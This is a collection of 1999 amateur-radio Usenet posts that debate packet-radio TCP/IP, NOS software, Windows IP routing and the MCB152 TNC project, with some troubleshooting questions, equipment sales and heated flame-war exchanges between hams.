watched your dad doing it. It is certainly possible to provide support for all
of the exciting sorts of applications which run over the internet, using wireless
TCP/IP amateur radio instead, but it requires the cooperation of a group
of amateurs to make it work. You need a good system of fast links (56 kb
or better), and properly configured routers, to make it practical.

The GRAPES network is an example of that in practice. For example, I can
use ordinary whiteboard conferencing software over the GRAPES network to
discuss technical ideas with our group. That's a really useful application which
is unfeasible at the slow speeds of most amateur packet networks. Most other
internet type applications also run fine. You can make use of RFS mounting
and RPCs to implement distributed databases, interactive games, etc.

The technology, hardware and software, to do it is available (and has been
available for over a decade), but to date relatively few amateurs have availed
themselves of it. Most amateurs continue to try to force voice grade FM radios
to do the work of a proper RF modem. That has limited speeds to such an extent
that only things like keyboard chatting and non-realtime email and bulletin board
services have been practical.

One exception is APRS. Because throughput requirements for that are very modest,
it works well with the slow equipment most amateurs still use. APRS is primarily
of use in mobile situations, where location data is desired. It is good for public
service sorts of activities, and as an adjunct to tracking activities of various sorts
(balloon payload tracking and recovery, coordinating the DFing of jammers, etc).
It has even been used with a network of automated weather reporting nodes to give
a near-realtime ground truth network for activities such as Skywarn.

But still, this is the tail wagging the dog. Applications have been limited to those
which can tolerate low throughput because most amateurs haven't yet made a
commitment to use the appropriate RF hardware to deliver good throughput.
This has to be a group effort, of course. It does no good to equip yourself for
high speed packet if there is no installed infrastructure, and no user base, to
support it in your area. So this isn't a matter of technical limitations, it is a matter
of social and political limitations. Equipment is available off the shelf, what is
needed is the social organization and political dynamic to employ it effectively.

That appears to be lacking in most areas today.

3549. Amateur Paging

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-08-21 00:00:00 UTC
From: Dave Michelson <dmichelson@ieee.org>
Message-ID: <37BF34D3.C8BC5BE0@ieee.org>
Source record: 16957

Hi, all.

I'm looking for information about amateur paging, especially advice
concerning bulk purchases of (and retuning of) surplus pagers.

These are the few sources that I've found so far. Can anyone add a few
more?

--

Amateur Paging
http://www.kantronics.com/amateur1.htm

--

The Pager Handbook for the Radio Amateur
Phil N. Anderson; 121 pp. (~C$27.)

See, for example,
http://myplace.to.be/InfoRad/25110.htm
http://kantronics.com/price.htm

--

Kantronics charges a lot of money for their refurbished and retuned
pagers but many wholesale dealers charge much less. See, for example:

Wireless Warehouse USA
http://www.starpluscomm.com/spci04.htm

Wireless Technologies, Inc.
http://www.pageco.com/

DigiPage Beeper Repair
http://www.digiusa.com/prod01.htm

Quikcom Communications
http://www.zonapair.com/qwikcom.html

--

Thanks.

> this situation is now remedied!

The new software that has come out during the last few years has pretty well obsoleted the *NOS variations. These days *NOS is only for those who are into "NOStalgia software".

Now days Hams do not have to buy a book and find several "Elmers" in order to get their software to work. The new stuff is much easier to set up. Also, Hams no longer have to "massage" the software into functionality, as is common with *NOS. The new stuff works, right out of the box. No hacking around at the code with a compiler is needed - or wanted.

In short: Why bother buying a book about obsolete software?

Source record: 16961
Cross-posted to: alt.ham-radio.vhf-uhf,rec.radio.amateur.digital.misc,rec.radio.amateur.space,sci.geo.satellite-nav

The other responces are mostly correct. 6.0 is the first version for
KPC3 (non plus model) to have the NMEA GPS functions.
The next and last version for a KPC3 was 8.2 which added stuff for
making your KPC3 into a digipeater. The KPC3+ latest version (8.3) as
mention in a couple replys added a software serial port so the GPS
data could come in via this, instead of the DB25 serial port. All the
settings for KPC3 6.0, 8.2 and KPC3+ 8.2, 8.3 are in this page:

http://www.theworks.com/~wa6ylb/tracker.txt

There is other APRS items at the main web page at:

I am clearing out the ham shack of all my QST magazines once again. If anyone is interested, I am selling 1992-1998 at $1.00 ea. (you pay shipping costs however you want them shipped) for 1 to 10 issues. If you are interested in over 10 issues or the entire collection, make me an offer. I am willing to ship anywhere on this planet so long as you are willing to pay the actual shipping costs.

Here are the issues that I have:

QST

1992 Jan - April $1.00 ea.
1993 Jan - Dec $1.00 ea.
1994 Jan - Dec $1.00 ea.
1995 Jan - Dec $1.00 ea.
1996 Jan - Dec $1.00 ea.
1997 Jan - Dec $1.00 ea.
1998 Jan - Dec $1.00 ea.
1999 Jan - Current $2.50 ea.

All the issues are in perfect condition with no ripped pages or covers. Sorry I don't have anymore, but the last time I did this in 1993, I sold all my 1989 through my 1992 issues less a few months still available.

Hello Giorgio,

If you are running WIN95/98/NT/2000 you can download a demo copy of PK TERM 99 from http://www.timewave.com. The demo runs in P_acket and RTTY copy only. If you are running EIN3.1 PC PakRATT for WINDOWS, version 2.1 is a good performer.

The eprom contents of the PK-232MBX are copyrighted and may also be purchased from Timwwave.

The are two options for your PK-232

PK-232 to PK-232MBX is $100,
PK-232 to PK-232DSP is $150

If you currently have a PK-232MBX the upgrade is $125

Both upgrades include a new manual. The DSP upgrade includes all of the MBX features.

Hello Dan;

The DSO version of PC PakRATT has been dropped from Timewave's product line due to Y2K problems. If you club is running a Windows system I would recommend PK TERM 99 or PC PakRATT for Windows.

See http://www.timewave.com for complete data.

As a matter of interest to those of us who don't know about these things, how
do you:

provide an FTP service to your users
provide HTTP (ie. web) services to your users
provide a choice of standard BBS, FBB and NNTP for reading bulletins
provide a choice of standard BBS, SMTP and POP for reading personal mail
provide a node for the world wide conver 'chat' system

Just mildly interested in what other software provides all these facilities
in one package, runs under DOS, Windows and Linux and can do so on
an 8088 clunker with just a 5 1/4" floppy from 15 years ago...

> In short: Why bother buying a book about obsolete software?

The original concept behind Phil Karn's NOS (and NET) was to provide a
tool by which Radio Amateurs could investigate and learn about TCP/IP.

As such, it is horrendously complex, yet remarkably flexible. It is only
right that Mr. Wade should attempt to produce a book that cuts through the
complexity in order to explain the concepts and workings of NOS, albeit
that NOS is some ten years behind the times in terms of hiding its
functionality from the user and merely presenting the results of its
endeavours behind a cold insulating 'window' - in line with current
practice.

Please do not confuse amateur radio in the U.S - a 'public service' - with
amateur radio in the U.K. (from whence Mr. Wade writes) - 'a service for
the purpose of self-training in communication by Wireless Telegraphy'.

'Works-out-of-the-box' solutions may be fine for a 'public service', but
in terms of the 'self training' I undergo as UK radio amateur, I can
assure you that I refer to books older than 'NOSIntro' on topics older
than 'NOS', and indeed older than amateur packet radio in order to seek
insights relevant to todays communication needs and practices.

NOS is a tool for those with commitment who wish to learn about TCP/IP,
rather than only use it. As such, it will not be every radio amateur's cup
of tea, but that is no good reason to be dismissive of it by those who do
not wish to undertake this particular path of learning challenge.

Hi Shawn,

Just about any DOS packet program will work on it a 8086. Try to stay small and simple at first and then experiment upward. An old DOS modem terminal program is great to start with like Procomm 2.X or similar. If you have any of ham radio CD-ROM disks like QRZ, etc., take a program off that and just give it a try. http://www.qrz.com has some software as well as http://www.tapr.org. Good luck & 73's.

Having difficulty in setting baud rate on startup of tnc. Attempt to
transmit " * " for baud setting but tnc not responding. Have checked wiring
of tnc to comp. and radio as well ...everything seems fine. I have done a
hard reset several times with no changes to situation.I had it working
earlier in the week but will not work now.
Very close to giving it a real hard reboot... with a size 10 REDWING!!!
Help

None, and with very good reason! Monolithic, oversized, "do it all"
programs like that are another thing most of us were happy to leave behind
when we moved on out of the 1970's and into the '80's... Those kind of
monsters are traditionally chock full 'o bugs, and *NOS is no exception.
There's certainly no excuse for that sort of thing in this day and age.
Perhaps you are happy with NOStalgia software, but most of us want to make
at least some effort to keep up to date. Struggling to set up and use poorly
crafted software from the bad old days is not considered to be "fun" by most
hams that I know. - They'd rather spend more time on the air and less time
massaging the software.

Each to his own, I suppose.

Modern Ham software is modular in design. You only call up and use the modules needed for your installation.

The "FBB BBS" part of the *NOS variations, by the way, is a joke in itself. Knowlegable BBS SYSOPs don't bother with that particular bug collection. Yes, I know it took the amateur tcp[ip community ten years to come up with it... That still doesn't change the fact that they never got it right.

For over ten years now, the "amateur tcpip mantra" has included numerous claims of how great tcpip allegedly was, because eventually the day would come when we would be able to use native tcpip applications that are common to the software included with modern computers. - Heh heh heh...
Well, now that has come about, and the silence concerning this innovation from the amateur tcpip community has been deafening. We have not one, not two, but three software systems now that allow use of native tcpip apps, and NONE of them have seen widespread use by the amateur tcpip community. - Instead, we see apologists for "*NOStalgia software". The latest stuff from the 1970's.

So now the amateur tcpip folks are at last ready to admit, I suppose, that they are a nostalgia group within Amateur Radio, kind of like the guys who utilize AM on HF instead of SSB. Too provencial to keep up with the times or even to follow their own rhetoric, the amateur tcpip community now is in the dubious position of having to defend the use of old, outdated software created by old, outdated methods so that they can enjoy the substandard performance that only NOStalgia software can provide.

Well, the Amateur Radio community has always accepted that NOStalgia was important to the hobby. There's certainly nothing wrong with using whatever software appeals to you. The amateur tcpip community should follow the lead of other NOStalgia groups within the hobby though, and refrain from making silly claims as to how "modern" or "efficient" their NOStalgia software is. If you want to use obsolete software that's fine, but don't make yourself look silly by trying to claim that it's still the latest thing.

It's not. (hint, hint.)

If *NOS were only put forth as a learning tool for that tiny minority that care about the intimate details of tcpip, that would be just fine. - Just as long as nobody is dumb enough to recommend it for general use, in this day and age. That's the main thing.

For my part, if I were interested in the intimate details of tcpip though, I'd be wanting to know how to set up and run servers for the native tcpip apps that millions use worldwide today, not a cobbled-together hack-o-gram put together over a decade ago. I'd want to know about what's being used NOW, in the real world. NOS will not teach you that, but the newer tcpip software will.

This is not a dumb question. Packet is a perfect application for that computer. Any dos based packet program should do fine. Remember that the old IBM PC was quite a powerful computer in its day. Not all applications need more computer power than was available during the Apollo launches.

FWIW,

Willie

Dear friends,

Look at a very interesting MESSAGE about a new SPECIAL TNC called MCB152!!!

FORWARDED MESSAGE
------cut here---------

Thanks for reading this message, i am sure you will find it
overwhelming!

We have provided a number op people and organizations with the following
information. It is impossible to send free copies to everyone. I hope
they are willing to share and distribute this information to you. Don't
hesitate to contact us or one of them to ask more about our MCB152
project.

This is the letter send to them:

TCP/IP TASK FORCE
UBA MEMBER
EURO><LINK MEMBER
Sint-Truiden, August 12 1999
Dear Mr.,
Please find included with this letter, a copy of our MCB152 CD-ROM,
which contains a wealth of information about our micro controller board.
During three years we have been working on a new TNC, which allows and
even enforces future developments. It is based upon the famous MCS51
80c31 micro controller derivative 80c152jb of INTEL. Our primary goals
are to:
- promote the usage of TCP/IP on our AX.25 network by making it
user-friendly and by opening doors for high speed user access.
- provide a free development system for the MCS51 and derivative family
of micro controllers.
As we believe this information can be of great value to the amateur
packet radio community, we kindly ask you to distribute this
information.
We have included articles in English, Dutch and French. You can use the
articles in \mcb152\docs\ as presented or as a guide for your
publication. You may use all information found on this CD-ROM to create
your own resume about the features of our board. We encourage you to
copy the CD-ROM and distribute it for non-profit purposes.
Please send us a copy of your publication, so we can keep track about
the spread of this information.
Although you can buy a functional MCB152 directly from us, it is
certainly not our intention to make it a commercial product. To enforce
this statement, we included all schematics, source codes, hard- and

software reference manuals as well as a full development environment with libraries on the 'free to distribute' MCB152 CD-ROM. During development, we were forced to contact a commercial organization to succeed in our goal. This organization, R&D International, supports us in the development of the MCB152 and distributes the packaged product to the world. The cooperation between us provides us some means for future developments. You may find extra, frequently updated information on our web site www.caseconsole.com/mcb152. For a more general overview on our project, you could also take a look at
http://gallery.uunet.be/Gert.Leunen
We hope people will find this project a motivating initiative that encourages them into the development and distribution of related information. If you want more information, feel free to contact us.
Thank you for your time and we are certain you will find it interesting enough to promote the project and its goals.
Greetings,
TCP/IP TASK FORCE
Walter Machiels, ON4AWM
Joachim Elen, ON1DDS
Gert Leunen, ON1BLU

What is this all about? I will try to explain you in short.

MCB152 ... INTERNET WITH MICRO CONTROLLER TNC

Packet vs. Internet

The experimenting Radio-Amateurs and their organizations nowadays prefer to use the Internet as their primary medium for exchanging data. Why is it that they are willing to pay for the Internet services, while a wireless digital network is available for free? Despite our ever-lasting efforts we must admit the lack of modernization on our packet network. It doesn't appear to be the slowness - even on the Internet we find an acronym for WWW: WorldWide Waiting - but the complexity (with regard to configuration and operation) of the legacy communication software that's preventing comfortable use.
One can hardly compare the features and user friendliness of Netscape and Internet Explorer with those of our Packet radio software. Just think of it: automatic mail delivery with the possibility to attach schematics or pictures with simple drag&drop, transferring large files without the need of using 7plus, automatic routing instead of hopping from node to node and hoping no intermediate link will fail, etc. We could enjoy all this if we would use the same communication protocols as on the Internet, TCP/IP that is.
The reason why we're not doing this at this moment is due to the proprietary command sets of the various TNC types. The only standard that has ever been adhered to for TNCs is the KISS protocol, which moves the Packet Radio 'intelligence' from the TNC back to the PC. This forces us to write device drivers for our favorite operating systems (except for Linux, none of them know AX.25 nor KISS). As you might have guessed, this is not a simple job to do. It has been done on Windows '95 a few

times, but their main problems are stability. One shouldn't expect such drivers to be developed for OS/2, Mac, etc. That's why we tried to make the TNC compatible with the OS instead of the other way around.

Dialing on to your TNC

These thoughts were the base for the TNC project we started in Sint-Truiden years ago. The installation of our TNC and the connection to our Packet network should be comparably easy as for a regular telephone modem and setting up an Internet connection, respectively. We programmed the TNC to act as an ordinary telephone modem (using the standard Hayes AT command set) towards the PC (and the Operating System). We added a few commands that are typically needed on Packet Radio networks: call sign, TX-delay, persistence, etc. (which can easily be entered once as the modem-init string). Finally, we dial to our Internet Service Provider using a call sign instead of a telephone number.
Once the computer thinks it's connected to the ISP (as the TNC confirmed this), both switch to the well known SLIP protocol. Our TNC will replace the SLIP specifics on all data originating from the PC by Packet Radio (AX.25) specifics and will then put these packets on the air. Captured packets will be filtered against the user's call sign and translated to SLIP frames. So the TNC actually acts like the ISP itself, but fully transparent for the Operating System and the user. This enables Radio-Amateurs to use services like E-mail, file transfer, Net news, WWW, IRC, etc. with the very same software they're using on the Internet. The services themselves are provided by servers like on0baf.baf.be.ampr.org (44.144.181.1), just as on the Internet.
We expect this will cause the development of new equipment, which will increase our transmission speeds.
These developments could reverse the decreasing interest to use or experiment with the Packet Radio network. Information on new developments can also be made available more easily. Using the well known standard TCP/IP should also avoid the long times to develop new services or new techniques from scratch.

TNC = (C with communication software

Generally spoken, a TNC is a micro controller with TNC software (the Packet Radio protocol, for example) included on its EPROM and equipped with special hardware to control a transceiver. Typical TNCs can not be used for anything but Packet Radio (or other digital protocols for that matter).
To allow the usage of our board for almost any project one could imagine, our EPROM only includes the firmware necessary for being able to receive the ultimate software from a PC (so the firmware is comparable in function to the BIOS in a PC). Additionally, the firmware allows for debugging, disassembling or starting the software. Software is downloaded into our MCB-152 using the well known Intel-Hex format (text files).
The transceiver control hardware is on a separate board, which is

plugged onto the MCB-152 (compare the MCB-152 with a motherboard in a PC, where additional boards can be plugged in). Currently, the MCB-152 is delivered with a plug-in board that cross connects to a USCC-type modem - available from the BayCom group. The DK9RR modem, for example, allows for 1200bd AFSK, 4800bd and 9600bd G3RUH operation. And depending on the software you downloaded into the MCB-152, you can use your old style Packet Radio software (with MCB-152 running as a KISS TNC) or the newer fancy Internet software (SLIP TNC).
The board is called MCB-152 since it is a micro controller board based on Intel's 80c152jb universal communication controller (an 8051 with internal communication facilities, capable of doing 680 kb/sec with the current clock frequency - extendable to 2 Mb/sec). We equipped the MCB-152 with the maximum amount of memory for an MCS51 processor (which is 128 kb: 64 kb data and 64 kb code). All unused I/O connections are guided through extension connectors for future developments.
The firmware in the EPROM contains a library of 50+ routines, which are copied to RAM during power up. This enables novices to make an easy start on programming the micro controller. Furthermore, this copy operation is completed by turning off the EPROM, making all memory addresses available for use, unlike many other systems that hide part of their RAM behind their ROM.

MCB152, a wealth on information

We included all schematics, layouts, library references, assembly and installation guides, etc. on a CD-ROM. It also includes a complete development environment (including BASIC interpreters, C-compilers, assemblers, debuggers, etc.), the source code of all projects we've already completed, information and utilities available from the Internet, application notes and user guides for the MCS51 series of micro controllers.
A video file (software\intro.avi) shows the history of our project and can be used to introduce others. One can also order an assembled, functional and tested MCB-152 for an attractive price.

If you're interested, feel free to contact us.

You can see, this is just the beginning.

During the past few months we were busy compiling a course for future and current sysops so they could convert there existing BBS to a fully functional TCP/IP server. Date set at next October. We will provide extra information on that in a separate message.

If you are interested in this material and would like to know more about is, i suggest you should contact one of the following organizations or people who got a free copy of our CD-ROM or take direct contact with us via packet or Internet. Encourage those people to distribute this information. Make the packet network a place to be!

Remember commercial information will only be provided via the Internet!

I have a KAM Plus with all the cables and Hostmaster software and a firmware upgrade it is V8..(firmware not installed)

I bought it off someone, hooked it up to make sure it worked then put it back in the box!.I am used to my PK232 and didn't want to switch!

It is in excellent shape and just sitting here..$225...

Source record: 16986

Hi Tim,
Here are a couple of things to check (if you haven't already done so). Check the port setting on the terminal software you are using to make sure that it is using the port that you have the tnc connected to. If that's ok, install a RS 232 tester in line (Radio Shack sells one) at the tnc in the cable line and see if you are indeed talking to the tnc. Last thing (probably should be the first thing you check) is to check your power supply voltage to see if it's putting out the proper voltage. I once was having a similar problem with my KAM + and sent an email to Kantronics about it. The only thing they suggested was to check the power supply voltage. I couldn't believe that could be the problem, but I checked it anyway and found it to be around 6 volts out. Boy did I feel dumb. So check that power supply first if you haven't already.

Yeah, something like that. I saw a qbasic program, I think. I have the
owners manual for the radio, but it doesn't say anything about that port
(and nothing about the ssb/cw part of the radio!). What documentation
do you have?

How strange. THIS Win98 machine is doing it as I type.
So is my DOS machine, and my Linux machine, and my
OTHER Win98 machine. Guess Charles is right, hams ARE
too lazy and/or stupid to understand how to make things work.

>Windoze may work fine for those who don't mind continual reboots

Total cluelessness. It is amazing to see it here in a newsgroup frequented by folks who claim a lack of ignorance. All my Win98 machines can (and do) route ip, as does my Linux machine and my DOS machine. Robin, you need to get yourself educated!

So answer the question then...

How would *YOU* propose that the modern modular Amateur provide all the above
services I note - bearing in mind that these are *SERVERS* and NOT clients that
come for free win WinDoze.

I deliberately missed out the 'millenuim' things we do in the UK - the webcams, the IRC interface to world-wide convers, *RADIO* time servers etc to make it as simple as possible for you to make your point. I suppose it just comes down to the fact that you don't have one to make apart from running other people down if they don't use 1981 protocols like AX25 under Flexnet...

John Melton has a great piece of software at: http://www.qsl.net/n6lyt This is his Java Satellite Ground Station. The code is well done, and using Java to write network code is far superior to C. I like C, but C is really showing it's age now. I would suggest that if you really want to learn something new, that builds on your NOS experience, then a Java implementation of AX.25 is sure to perk your interest.

What people have to realize, is that the old packet radio of ten years ago, with Hams communicating with other hams, is gone. Mostly packet radio is a system of impersonal robots which do nothing as far as being interesting enough to connect to.

But that is the same as most computer systems. No one telnets to computers anymore, or FTP's to them, but rather use a browser as the middleware. With the coming of XML, the Web experience is going to make another leap in capabilities. C is out, Java is in.

As a first step, we have to decide that the BBS is not a practical solution at 30 baud. There are many things that can be implemented and enjoyed at 30 baud half-duplex, but exchanging for sale messages, or out of band mods isn't one of them.

Here's an opportunity for you to learn something new from the new software systems, without even having to run one of them:

Look into the free tcpip server software available for Win95/98. (It's all there.) Then check out W0RLI's new software that allows use of Normal E-mail programs for posting and reading Packet messages.

While investigating the Win95/98 server software, you may be tempted to set some of it up and run it yourself...

Be careful ! ! ! You might learn something, if you aren't careful. If you are not REALLY careful, you might end up learning something from running those servers that is relevant to *modern* use of tcpip, as opposed to the "beginner, hacked up, toy versions" of these that one might find in NOStalgia software from a decade or so ago.

Yes, you are right: I think it's absolutely moronic for the amateur tcpip community to go on for years about how they are the "wave of Packet's future", then to collectively stick their heads in the sand when the future they predicted finally arrives and then refuse to participate in it.
The fact that most of the group are complete losers when it comes the RADIO part of Ham Radio is evident in the indifference expressed over the radically more efficient way the new software handles the RADIO end of things. - But the fact that most amateur tcpip freaks are generally ignorant about Radio and really hate having to mess with them is already well known.
The previously unknown fact that they are also losers in the tcpip end of things will become increasingly evident as casual users running the new software end up doing things the NOStalgia types cannot even attempt, using software and systems in use TODAY by millions of Internet users.

Not up to it? Can't figure it out?

I'm not surprised.

You know, what's made packet traffic easier to skim lately, I think, has been E-Bay, since you don't have these guys posting the same equipment for sale, every day to the packet radio system -- as much as a few years back.

The funny thing, is I kind of miss the old packet flame wars -- a little. For all the screaming people did about how these arguments were ruining

packet radio, I frequently found myself reading
the LLLID and DEBATE and skipping most of the
other stuff.

Me, I've got it nearly working where I can read AX25
mail and traffic as Email. Running F6FBB and some
programs called mail2bbs and bbs2mail by some guy
in Sacramento. Right now, I'm slightly
entertained by the novelty of it. Though I think
perhaps, it might make me post more stuff the

And I'm not really clear if there's a clean way
to allow BBS users access to SMTP for posting mail
-- while ensuring their identity.

I have for sale a PacComm PicoPacket TNC. This unit is only a few months old and looks like new. It is the dual RS-232 Port unit. It allows you to connect your PC and your GPS at same time if you are running APRS It comes with the original box, manual and cables It sells currently for $199.95 (if you can find someone who has it).

I will ship this in CONUS for $165.

If interested, please send me an email at sereikas@yahoo.att.com

Thanks and 73,

OK - figure this one out then.

Station A can't hear station B so wishes to route his IP traffic via
station C. If station C is running Windows 95/98 then he's stuffed
because Windoze is so broken it can't even route properly.

Windoze may work fine for those who don't mind continual reboots
and are only running client software - I'd recommend it to those
who have no wish to learn anything new - but to make a NETWORK
then its lost before its started.

Hello Dave,

Here is an answer form Timewave.

PC PakRattfor WIN is a 16-bit program for WIN3.1 and runs on 95/98. It is a mature solid program.

PK TERM''99 is a 32-bit WIN95/98/nt program done for AEA/Timewave products by CSS. It is a new program with 100% Windows computability. It supports Callbook lookups, and all the nice new windows functions.. right mouse etc..

both handle dual port TNCs well. If you want to run 2 TNC's from 1 program buy PC PakRATT for Windows..

In either case, about 1 year from now, Both programs will be replaced by PC PakRATT 2000 for Windows with the best of both programs. And the upgrade price from either program will be about the same (if not exactly)

I was one of the original beta testers for PC PakRATT/WIN and stuck with it for a long time. Now I prefer the PK TERM '99. About the only PC PakRATT/WIN feathures missing from PK TERM 99 is the nice parameter menus.

Hope this helps.

Hi i'm trying to find anyone that has used a hamcom modem more than i ,

they are so easy to build and offer many modes to play with but seems like
no one out there uses them ,

Anyone with any links or info that are in english not german,,

regards

Paul

Hi Hank

Maybe I am missing something then. Perhaps you can assist
in my education.

If I have two radio ports on a win98 box (not sure how you would
do that but lets assume that anyway), how would you route IP
packets from one to the other? What would the 'route add' statements
look like? What netmasks would I use if the two ports are in the
same or different subnets?

Come to that, how would you route in and then out again on the same
radio port - we are after all talking about RADIO aren't we?

Robin. G8ECJ

I don't see how changing the programming language is going to
make a computer system more interesting, except maybe to the
programmer.

When it is not interesting enough to telnet to, why would it be
more interesting to browse to? You probably confuse flashy graphics
with interesting content.

No matter if a protocol or service is implemented in C or in Java
or whatever, when the service provides no interesting content it
is not going to be interesting.
(apart from "This was all written in Java, interesting isn't it?")

For most of the web applications to be usable on packet radio, people
would first have to write off their 1200 baud modem and buy or build
something more state-of-the-art. This seems to be a big enough hurdle
to take for the coming ten years.

Consider what development packet radio went through in its first decade,
then compare that with what happened in the second decade. Compare
that with the development on other networks in that same decade.
Disappointing, isn't it? That cannot be attributed to a programming
language alone.

Rob

Gee, I bet the guys on Packet will be interested to know that they are
impersonal robots! I always thought they were just a bunch of great Hams.

That just goes to show you, that they are making those impersonal robots
better and better, every day.

(In other words, Steve; Speak for yourself.)

Java has been in for quite a while. C, which does a different job, has yet
to be replaced.

Poor old Steve, still trying to tell all the BBS users that BBS operation is impossible. I suppose he thinks that all the present BBS use is just a clever simulation, using impersonal robots.

One thing for sure; Steve's posts are always good for a laugh.

OIC... You are one of those unfortunate people who cannot follow
instructions.

My Win95 and Win98 systems work fine. It doesn't surprise me that someone
who still thinks *NOS is great would find themselves falling off of the
learning curve when trying to set up and utilize normal, everyday software
that millions of other people use every day with no problem.

My 11 year old daughter installed Win98 by herself a couple of months back.
No crashes, so far, and none in the two Windoze machines I use for Ham Radio
and Video gaming.

That's probably an unfair comparasin though, since both my daughter and I
understand how to read and follow simple onscreen instructions.

>Windoze may work fine for those who don't mind continual reboots
>and are only running client software - I'd recommend it to those
>who have no wish to learn anything new - but to make a NETWORK
>then its lost before its started.

It doesn't surprise me that only Linux and *NOS freaks experience constant
reboots on thier Win95/98 systems. As a group, these folks have not shown
themselves to be very clever at choosing or operating most common computer
software.

Us regular folks (who might wear tennis shoes, or the occasional python boot) use these systems every day with no problem. I suppose we can be glad that the Win95/98 setup "learning curve" is only too steep for that tiny minority of people who have been able to convince themselves that the only answer for the next millineum is the latest software from the 1970's.

There's actually two sets of results concerning development of the Packet net over the last ten years... When the US net started to die off due to the "LandLine Lid" problem a decade or so ago, the folks in Europe outlawed the routing of Ham Radio traffic over non-Ham links. As a result, they never had a "LandLine Lid" problem and their Packet network continued to develop and grow while ours was being undermined and undercut by US tcpip freaks.

The development here is "LandLine Lid-ville" sure has been disappointing, but let's not be so provincial as to ignore the fact that things just kept right on growing and developing in Europe while amateur tcpip idiots ground the US Packet net down to a dead halt.

That's why you have to look to Europe if you want modern, advanced Packet Radio software (and hardware).

We had "LandLine Lids" in the US, and in Europe they had enough sense to nip that problem in the bud. One result of this is that European Hams can "do" tcpip much, much better than their "LandLine Lid" American counterparts.

Ironic, but true.

Well, actually I was referring to tcpip freaks, not all Hams in a general sense.

I wouldn't want people to get the impression that I think all Hams are as lazy and as stupid as the average amateur tcpip freak, here in the US. That would be a terrible injustice to a large number of great Hams.

>Robin. G8ECJ

The topic of discussion is NOSintro, the introduction to networking using
NOS. These documents contain the basic knowledge you need to
understand the issue you have raised. Read the documents. It is trivial
to set up the routings, and doing so is one of the most basic things
one does to get tcp/ip working. Not going to do your homework for
you. If you make statements such as you have made, be prepared to
gain enough knowledge to understand WHY folks think your statements
are silly and ignorant. There are many many tools available to route
ip from hither to yon across different interfaces, or the same interface.
My own choices tend to be WinProxy (by Osisits) because I like it's
simplicity of setup and proxy/firewall configurability, or my own software
because "It does exactly what I want." I realize you will reply "This
capability
is not built into Windows therefore I am right WINDOWS cannot route."

That is true of course. Windows also cannot manage investments, edit graphics, or play sound. Applications, Servers, etc. do these things, not the operating system. In any operating system one needs to choose which applications one wants to run, and then acquire and run them.

I use SNOS to link the ham radio networks (AX.25, PACTOR, CLOVER) to the ip based network. This can be done directly on the Windows machine, or can be done using an external router box. I do both. I also run Linux, which I cannot use, for example, for investment management, since useful applications do not yet exist. However the Linux machine can access the ham radio network exactly the same way the Windows machines do.

As Charles pointed out, one can now use the entire spectrum of tcp/ip based applications over the ham radio network. One simply needs to install the appropriate software to make the linkages. What software you choose is up to you. I use my own because it is fun to create.

Just so you are not confused: all of the above references to tcp/ip mean "tcp/ip running over RADIO networks". All these things work over the telephone as well, but doing that is trivial. It is the RADIO part that presents the challange. Enjoy!

Let's see... I'm advocating the use of the latest advances in amateur tcpip software, that allow the realization of one of amateur tcpip's most sought-after goals (ability to use native tcpip apps on packet) and the arguments I receive in reply advocate use of a ten year old hack of another, even older program that cannot remote approach the modern stuff in it's functionality, ease of use, and efficiency.

How could I be so "narrow minded" ? As you can see, your barb really cut me to the core, OM...

NOT !

Haw Hawr ! ;-)

>graphics, or play sound. Applications, Servers, etc. do these things, not
>the operating system. In any operating system one needs to choose which
>applications one wants to run, and then acquire and run them.

But in most operating systems, IP routing is done by the operating system
kernel, not by an application.
Sure there usually is an application that can manage the routing tables,
but it tends to be included as part of the basic networking tools.

In fact, Windows has such an application (route.exe), but it (and the
router it manages) when compared to offerings in other operating systems.

This undoubtedly has commercial reasons, Windows is not intended to be
used in an environment where it would route packets. But omitting such
functionality will not help the supplier, because other suppliers will
provide the missing tools to overcome the limitation.

I have a KAM Plus with all the cables and Hostmaster software and a firmware upgrade it is V8..(firmware not installed)

I bought it off someone, hooked it up to make sure it worked then put it back in the box!.I am used to my PK232 and didn't want to switch!

It is in excellent shape and just sitting here..$225...

From: Jimbo <jbollit@ix.netcom.com>
Message-ID: <37C5C31C.94EEA4BA@ix.netcom.com>
Source record: 16870

I am thinking of buying a DSP unit to add on to my Drake R8b receiver
and would like some input from users of the MFJ 784B ($229.95) and the
Timewave ($399.95) DSP units.

The MFJ was written up in the latest Monitoring Times and had a good
report ......
but would like input from others that have used either or both as to the
plus's and minus's of each.

I do mostly shortwave and BCB DX'ing with the Drake. I use a Kiwa Loop
for BCBDX and an MFJ noise canceling unit.

Thanks in advance.

Jim

I think I'm going to have to learn American - its obvious a lot of people
on this group don't understand English.

Win95/98 have an IP stack. Fact. It does not route. Fact. Routing functions
can be implemented (ie. faked) using a proxy but this is expensive (time and
CPU capacity) - this doesn't help a broken IP stack however.

*NOS is a useful tool for Amateur TCP/IP - before you lecture too hard
on how to do IP over radio Hank, I suggest you look at my webs sites
at www.gb7ipd.freeserve.co.uk and tvipug.freeserve.co.uk.

The first has some of the software I've written for radio generally with
a fair amount on JNOS which I run on my IP BBS GB7IPD. All of the
servers I mentioned before run live 24 hours a day here (apart from the
webcam at the moment as the camera failed). Over 2 years ago I moved
the system from DOS to Linux to provide these services.

The second is the Thames Valley IP User Groups' web site which may
give you some idea of the project we undertake.

As a *USER* I have used win95/98 up until the last couple of weeks (ie. 5 years). As a *PROVIDER* I wouldn't even consider it. Maybe over there is the good old US of A you get someone else to provide all your services or just end up being (Charles favourite - and I agree with his sentiments) LLLids.

Hank - I asked the questions trying to make people think or even to prod someone into being more constructive in their provision of information. Looks like I failed in that respect. Be assured however that I *DO* know how to set up a routing table - I've even written an IP stack in Z80 assembler (something for a dark winters night) for a 56 port TNC (yes I do mean that many ports - 14 cards, each with 4 ports, not that I expect to use more than 8 at a time)

When conversing with an Englishman, look *VERY* carefully at what is written or said, as there may be nuances that you will miss and hence start to look silly.

No use trying to use your location as an excuse. I've known Englishmen who had no trouble whatsoever in communicating with others. If you find yourself unable to communicate effectively, calling the people you are trying to talk to names is highly unlikely to help you resolve your problem.

The real solution lies in schooling. If you have had no schooling before, you should take this opportunity to do so now. Once you have a few years schooling behind your belt, you will discover the world of books. Read enough of those and eventually, literacy will creep up on you when you are not looking. Soon after that, you will find yourself able to communicate effectively with English-speaking people almost anywhere.

I've known of a number of Englishmen who have done this, and they almost all ended up being able to communicate fairly well.

Which of those programs run in Win98?

If you want to help hams get on the air with tcp/ip, Linux is not an option.

Most hams have Windows machines. Simple fact of life.

When you keep on posting all this disinformation about Windows
